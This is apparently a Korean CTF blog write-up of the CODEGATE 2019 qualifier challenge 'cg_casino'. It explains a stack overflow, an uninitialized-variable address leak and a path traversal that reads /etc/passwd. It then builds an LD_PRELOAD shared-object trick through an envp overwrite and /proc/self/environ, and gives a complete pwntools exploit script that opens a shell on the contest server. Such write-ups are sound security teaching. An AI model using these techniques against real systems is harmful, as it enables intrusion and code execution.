Category : pwnable


Summary : stack bof, LD_PRELOAD, /proc/self/environ



가장 흥미로웠던 문제라 이놈만 풀이 작성.



Concept


casino를 concept으로 한 간단한 random game binary. 아래와 같이 5개 기능이 있다.


 





Vulnerability



(1) Stack overflow



user_input 함수는 argument인 ptr이 가리키는 공간의 크기를 고려하지 않고 개행문자(\n)가 들어올 때까지 무한정 입력받기 때문에 buffer overflow가 발생한다.



취약한 user_input 함수로 main 함수의 지역변수(voucher, old_voucher)에 입력을 받아 stack buffer overflow가 발생하지만, main 함수가 return을 하지 않아 sfp / ret 를 덮는 방식으로는 exploit 이 불가능하다.




(2) Memory leak (from uninitialized variable)




lotto menu 를 이용할 땐 사용자에게 입력받은 숫자가 <= 44  인지 검사한다. 

"%u" 포맷스트링으로 사용자에게 숫자를 입력받는데, 'A'와 같이 포맷에 맞지 않는 값이 들어오면 scanf 함수는 실패하고 &v12[v1]는 uninitialized variable이 된다. 만약 &v12[v1] 에 있는 쓰레기 값이 memory address라면 (보통) 44보다 크므로 printf로 출력하게 된다. -> memory leak


$ ./cg_casino
.............
GUESS 6 Numbers!
===================
| | | | | | |
===================
1
2
A
2335601000 : out of range
3
B
32646 : out of range
4
^C
$ python
>>> hex((32646 << 32) + 2335601000)
'0x7f868b367168' # stack leak
위 취약점을 이용하여 stack address leak 이 가능하다.


(3) Path traversal



merge voucher 기능은 사용자에게 old voucher path를 입력받아 current voucher path에 덮어씌운다.

strlen(old_voucher) == 32 만 만족하면 사실상 mv [old_voucher] [voucher]과 동일한 기능이다.


$ ./cg_casino
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$ CG CASINO $$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 1
input voucher : pwn3r_45
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 2
input old voucher : ../../..//////////////etc/passwd # length must be 32bytes
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> ^C
$ cat voucher/pwn3r_45
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
.................

일반적인 환경이었다면 이 기능을 이용해 .bashrc 나 .bash_profile을 덮어씌우는 등 여러가지 공격을 시도했겠지만, docker 설정에서 /home/cg_casino/voucher/ 말고는 write permission을 제거했기 때문에 딱히 덮어쓸 수 있는 파일이 없다.



Trick


위에서 말했듯 stack bof로 sfp / ret 를 덮는 공격을 할 수 없다. 그렇다면 어떻게 exploit 할 수 있을까?


(1) LD_PRELOAD


길이 제한이 없는 overflow이므로 main stack frame 보다 뒤(높은 주소)에 있는 argv, envp도 덮어쓸 수 있다. slot game 기능에서 system 함수를 부른다는 것을 보고 envp 영역을 덮어써서 LD_PRELOAD를 이용하는 방법이 떠올랐다.


 


LD_PRELOAD 환경변수를 설정하면 system 함수가 내부적으로 execve("/bin/sh", "-c", "/usr/bin/clear"); 를 실행하는 시점에 LD_PRELOAD에 설정된 library file을 로드시켜 /bin/sh 의 라이브러리 함수를 hooking 한다.


이제 어떠한 library file을 로드시킬지가 문제이다. 사용자가 서버에 file을 생성할 수 있는 기능은 없지만, merge voucher 기능을 잘 이용하면 library file을 생성할 수 있다.



(2) /proc/self/environ


/proc/[pid]/environ은 해당 process의 envp영역을 보여준다. 정확히는 &envp[0][0] ~ stack top까지의 영역을 보여주는 것이다. &envp[0][0]을 덮어쓰면 당연히 /proc/[pid]/environ에도 반영된다.

$ cat ooo.c 
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
puts("before");
getchar();

memcpy(&envp[0][0], "45454545", 8);

puts("after");
getchar();
}
$ ./ooo
before

$ xxd /proc/`pidof ooo`/environ |head -3
00000000: 5844 475f 5654 4e52 3d37 0058 4447 5f53 XDG_VTNR=7.XDG_S
00000010: 4553 5349 4f4e 5f49 443d 6332 0056 4952 ESSION_ID=c2.VIR
00000020: 5455 414c 454e 5657 5241 5050 4552 5f53 TUALENVWRAPPER_S

$ fg
after

$ xxd /proc/`pidof ooo`/environ |head -3
00000000: 3435 3435 3435 3435 3d37 0058 4447 5f53 45454545=7.XDG_S
00000010: 4553 5349 4f4e 5f49 443d 6332 0056 4952 ESSION_ID=c2.VIR
00000020: 5455 414c 454e 5657 5241 5050 4552 5f53 TUALENVWRAPPER_S

envp 영역도 stack buffer overflow로 덮어쓸 수 있는 영역이기 때문에 envp영역에 library file을 덮어버리면 /proc/self/environ은 하나의 ELF file처럼 만들어줄 수 있다. 하지만 /proc/self/environ은 일반 file이 아니기 때문에 LD_PRELOAD=/proc/self/environ으로 직접 로드시킬 수 없다.


하지만 merge voucher 기능으로 /home/cg_casino/voucher/ 에 복사시키고 LD_PRELOAD에 경로를 설정해주면 정상적으로 로드시킬 수 있다.



(3) Tiny so file


#include <sys/syscall.h>

void __libc_start_main(){
execve("/bin/sh", 0, 0);
}

void execve(char *path, char **argv, char **envp){
asm volatile ("syscall" :: "a"(SYS_execve));
}


__libc_start_main 함수를 hooking하여 /bin/sh를 실행하도록 하는 library file을 만들었다. 


pwn3r@ubuntu:~$ gcc -w -fPIC -shared -o run_shell.so ./run_shell.c pwn3r@ubuntu:~$ export LD_PRELOAD=`pwd`/run_shell.so pwn3r@ubuntu:~$ /usr/bin/clear $


주어진 환경에서 /proc/self/environ의 크기는 약 3434byte 정도이기 때문에 기존 run_shell.so (8120byte)의 크기를 줄여야한다. (접속하는 IP가 REMOTE_HOST 환경변수에 들어가기 때문에 3434byte에서 차이가 발생할 수 있음) library file을 compile할 때 -znorelro -s -nostdlib등의 옵션을 붙여주면 크기를 줄일 수 있다.


$ gcc -w -fPIC -shared -o run_shell.so run_shell.c
$ ls -l run_shell.so
-rwxrwxr-x 1 pwn3r pwn3r 8120 Jan 30 17:36 run_shell.so

$ gcc -w -znorelro -s -fPIC -shared -nostdlib -o run_shell.so run_shell.c
$ ls -l run_shell.so
-rwxrwxr-x 1 pwn3r pwn3r 2432 Jan 30 17:37 run_shell.so


마지막으로 user_input함수는 '\n'까지만 입력받기 때문에 run_shell.so 에서 '\n'을 다른 값으로 치환해야 한다. 단순하게 file data에서 '\n' -> '\x0b'로 치환해봤는데 정상적으로 로드가 되어 그대로 사용했다. (다행히 ELF format에 영향을 미치지 않는 값이 아니었던 듯)


>>> with open("run_shell.so", "rb") as f:
...     data = f.read()
... 
>>> with open("run_shell.so", "wb") as f:
...     f.write(data.replace('\n', '\x0b'))
...
>>>



Exploit

#!/usr/bin/python

from pwn import *

def set_voucher(voucher):
global s
s.recvuntil('> ')
s.sendline('1')
s.recvuntil('input voucher : ')
s.sendline(voucher)

def copy_voucher(old_voucher):
global s
s.recvuntil('> ')
s.sendline('2')
s.recvuntil('input old voucher : ');
s.sendline(old_voucher)

def lotto(*nums):
global s
s.recvuntil('> ')
s.sendline('3')
s.recvuntil('===================\n')
s.recvuntil('===================\n')
for num in range(nums):
s.sendline(str(num))

def stack_leak():
global s
s.recvuntil('> ')
s.sendline('3')
s.recvuntil('===================\n')
s.recvuntil('===================\n')
s.sendline('1')
s.sendline('2')

s.sendline('a')
lo = int(s.recvline().split(' : ')[0])
s.sendline('3')

s.sendline('b')
hi = int(s.recvline().split(' : ')[0])
s.sendline('4')
s.sendline('5')
s.sendline('6')
s.recvuntil('maybe next time\n')
return hi << 32 | lo

def slot():
global s
s.recvuntil('> ')
s.sendline('5')
s.recvuntil('press any key\n')
s.sendline()
if s.recvline(timeout=4) == '':
s.interactive()

s = remote('110.10.147.113', 6677)
#s = remote('0', 6677)

user_voucher = 'pwn3r_45.so'
set_voucher(user_voucher)
stack = stack_leak()

buf = stack + 0x40
print hex(stack)

with open('run_shell.so') as f:
fake_so = f.read()

for i in range(3):
stack_top = (stack & 0xfffffffffffff000) + 0x1000 * (i+1)
env_start = stack_top - 3456 - len('X.XXX.XXX.XXX')

pay = user_voucher
pay = pay.ljust(0x80, '\x00')
pay += 'LD_PRELOAD=/home/cg_casino/voucher/{}\x00'.format(user_voucher)
pay = pay.ljust(0x158, '\x00')
pay += p64(buf + 0x80)
pay = pay.ljust(env_start - buf, '\x00')
pay += fake_so

set_voucher(pay.split('\n')[0])

copy_voucher('../../..///////proc/self/environ')
slot()


s.interactive()
s.close()


$ python exploit.py
[+] Opening connection to 110.10.147.113 on port 6677: Done
0x7ffe12221390
[*] Switching to interactive mode
$ id
uid=1000(cg_casino) gid=1000(cg_casino) groups=1000(cg_casino)



'CTF > 2019' 카테고리의 다른 글

0CTF 2019 - Fast&Furious  (0) 2019.07.21
0CTF 2019 - Fast&Furious2  (0) 2019.07.21
CODEGATE 2019 QUAL - cg_casino  (1) 2019.01.31
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29

WRITTEN BY
pwn3r_45

트랙백  0 , 댓글  1개가 달렸습니다.
  1. 관리자의 승인을 기다리고 있는 댓글입니다
secret